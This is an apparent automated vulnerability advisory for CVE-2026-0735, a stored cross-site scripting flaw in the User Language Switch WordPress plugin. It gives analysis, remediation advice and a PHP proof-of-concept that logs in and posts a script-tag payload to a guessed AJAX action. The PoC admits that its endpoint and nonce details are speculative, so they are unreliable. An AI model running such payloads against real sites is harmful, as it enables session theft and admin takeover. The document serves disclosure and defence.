Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-0735: User Language Switch <= 1.6.10 – Authenticated (Administrator+) Stored Cross-Site Scripting via 'tab_color_picker_language_switch' Parameter (user-language-switch)

CVE ID CVE-2026-0735
Severity Medium (CVSS 4.4)
CWE 79
Vulnerable Version 1.6.10
Patched Version
Disclosed February 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-0735 (metadata-based):
This vulnerability is an authenticated Stored Cross-Site Scripting (XSS) flaw in the User Language Switch WordPress plugin, affecting all versions up to and including 1.6.10. The vulnerability exists in the ‘tab_color_picker_language_switch’ parameter. It requires an attacker to possess administrator-level privileges or higher. The vulnerability only manifests in WordPress multisite installations or in standard installations where the ‘unfiltered_html’ capability is disabled. The CVSS score of 4.4 reflects a medium severity issue with a high attack complexity and privileged requirements, but with scope change and confidentiality/integrity impacts.

Atomic Edge research identifies the root cause as CWE-79: Improper Neutralization of Input During Web Page Generation. The vulnerability description explicitly cites insufficient input sanitization and output escaping for the ‘tab_color_picker_language_switch’ parameter. This indicates the plugin likely accepts user input via a POST or GET request, stores it without proper sanitization (e.g., using `sanitize_text_field` or similar WordPress functions), and later outputs it without escaping (e.g., failing to use `esc_attr` or `esc_html`). These conclusions are inferred from the CWE classification and the standard WordPress security model, as no source code diff is available for confirmation.

Exploitation requires an authenticated attacker with administrator-level access. The attacker would likely target a plugin settings page or AJAX handler that processes the ‘tab_color_picker_language_switch’ parameter. A plausible attack vector is a POST request to `/wp-admin/admin-ajax.php` with an action parameter related to the plugin (e.g., `uls_save_settings`). The payload would be injected into the `tab_color_picker_language_switch` parameter. A typical XSS payload could be `alert(document.domain)` or a more malicious script to steal session cookies. The stored nature means the script executes for any user viewing the affected admin page where the parameter’s value is rendered.

Remediation requires implementing proper input validation and output escaping according to WordPress coding standards. The fix must sanitize the ‘tab_color_picker_language_switch’ parameter on input using a function like `sanitize_hex_color` (if it’s a color picker) or `sanitize_text_field`. On output, the value must be escaped with `esc_attr` if used in an HTML attribute or `esc_html` if used in page content. The patch should also ensure capability checks are present to restrict access to the vulnerable function, though the vulnerability already requires high privileges.

The impact of successful exploitation is limited by the high privilege requirement but significant within that context. An attacker with administrator access can inject arbitrary JavaScript into the WordPress admin area. This script executes in the context of any administrator viewing the compromised page, potentially leading to session hijacking, site defacement, or the creation of new administrative accounts. The scope change (S:C in CVSS) indicates the vulnerability could affect components beyond the plugin’s own security scope, potentially compromising the entire WordPress admin interface.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-0735 - User Language Switch <= 1.6.10 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'tab_color_picker_language_switch' Parameter
<?php
/*
Assumptions:
1. The vulnerable endpoint is an AJAX handler at /wp-admin/admin-ajax.php.
2. The AJAX action is derived from the plugin slug, e.g., 'user_language_switch_save'.
3. The vulnerable parameter is 'tab_color_picker_language_switch'.
4. The attacker has valid administrator credentials (username/password).
5. A valid nonce is required; this script attempts to fetch one from a settings page.
*/

$target_url = 'http://vulnerable-wordpress-site.com'; // CHANGE THIS
$username = 'admin'; // CHANGE THIS
$password = 'password'; // CHANGE THIS

// Payload to inject. This is a simple proof-of-concept alert.
$xss_payload = '<script>alert("XSS via CVE-2026-0735: "+document.domain);</script>';

// Initialize cURL session for cookie handling
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookie.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
$post_fields = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
$response = curl_exec($ch);

// Step 2: Attempt to fetch a nonce from a plugin settings page.
// This is a speculative step; the actual nonce parameter name is unknown.
$settings_page_url = $target_url . '/wp-admin/options-general.php?page=user-language-switch';
curl_setopt($ch, CURLOPT_URL, $settings_page_url);
curl_setopt($ch, CURLOPT_POST, false);
$settings_page = curl_exec($ch);

// Extract a nonce (this regex is generic and may need adjustment).
$nonce = '';
if (preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $settings_page, $matches)) {
    $nonce = $matches[1];
} else {
    // If no nonce found, assume the endpoint does not require one (a security flaw).
    echo "Warning: Could not find a nonce. Proceeding without one.n";
}

// Step 3: Exploit the vulnerability via AJAX.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
$exploit_fields = array(
    'action' => 'user_language_switch_save', // Inferred action name
    'tab_color_picker_language_switch' => $xss_payload,
    '_wpnonce' => $nonce // Include if found
);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_fields));
$ajax_response = curl_exec($ch);

echo "Exploit attempt completed.n";
echo "Response: " . htmlspecialchars(substr($ajax_response, 0, 500)) . "n";

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School